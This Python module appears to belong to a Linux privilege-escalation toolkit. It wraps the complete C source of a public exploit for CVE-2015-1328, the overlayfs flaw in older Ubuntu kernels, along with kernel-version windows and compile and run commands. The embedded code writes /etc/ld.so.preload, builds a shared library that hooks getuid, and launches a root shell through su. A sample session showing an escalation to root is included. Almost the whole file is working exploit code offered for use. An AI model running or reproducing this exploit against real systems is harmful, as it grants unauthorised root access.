"""
CVE 2015 1328
"""
import os
from exploits.exploit import LinuxExploit
from constants import *
from src.kernels import KernelWindow


class CVE20151328_32(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20151328_32"
		self.formatted_name = "CVE-2015-1328 (32 bit)"
		self.e_type = "linux"
		self.brief_desc = "overlayfs implementation in linux kernel does not properly check file-create permissions"
		self.reliability = HIGH_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 3, 19, 0)
		self.vulnerable_kernels = [
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 2, 0, highest_patch_level="3.2.0-86.123"),
			KernelWindow(UBUNTU_14, VERSION_VULNERABLE, 0, 0, 0, 3, 13, 0, highest_patch_level="3.13.0-55.92"),
			KernelWindow(UBUNTU_14, VERSION_VULNERABLE, 0, 0, 0, 3, 16, 0, highest_patch_level="3.16.0-41.55"),
			KernelWindow(UBUNTU_15, VERSION_VULNERABLE, 0, 0, 0, 3, 19, 0, highest_patch_level="3.19.0-21.21"),
			KernelWindow(UBUNTU_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 2, 0),
		]
		self.exploit_kernels = [
			KernelWindow(UBUNTU_12, EXPLOIT_AVAILABLE, 0, 0, 0, 3, 2, 0, highest_patch_level="3.2.0-86.123"),
			KernelWindow(UBUNTU_14, EXPLOIT_AVAILABLE, 0, 0, 0, 3, 13, 0, highest_patch_level="3.13.0-55.92"),
			KernelWindow(UBUNTU_14, EXPLOIT_AVAILABLE, 0, 0, 0, 3, 16, 0, highest_patch_level="3.16.0-41.55"),
			KernelWindow(UBUNTU_15, EXPLOIT_AVAILABLE, 0, 0, 0, 3, 19, 0, highest_patch_level="3.19.0-21.21"),
		]
		self.architecture = ARCHITECTURE_i686
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {}".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\\n\\nuid_t(*_real_getuid) (void);\\nchar path[128];\\n\\nuid_t\\ngetuid(void)\\n{\\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \\"getuid\\");\\nreadlink(\\"/proc/self/exe\\", (char *) &path, 128);\\nif(geteuid() == 0 && !strcmp(path, \\"/bin/su\\")) {\\nunlink(\\"/etc/ld.so.preload\\");unlink(\\"/tmp/ofs-lib.so\\");\\nsetresuid(0, 0, 0);\\nsetresgid(0, 0, 0);\\nexecle(\\"/bin/sh\\", \\"sh\\", \\"-i\\", NULL, NULL);\\n}\\n    return _real_getuid();\\n}\\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\\n");
    fprintf(stderr,"creating shared library\\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}	
"""

	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
		return True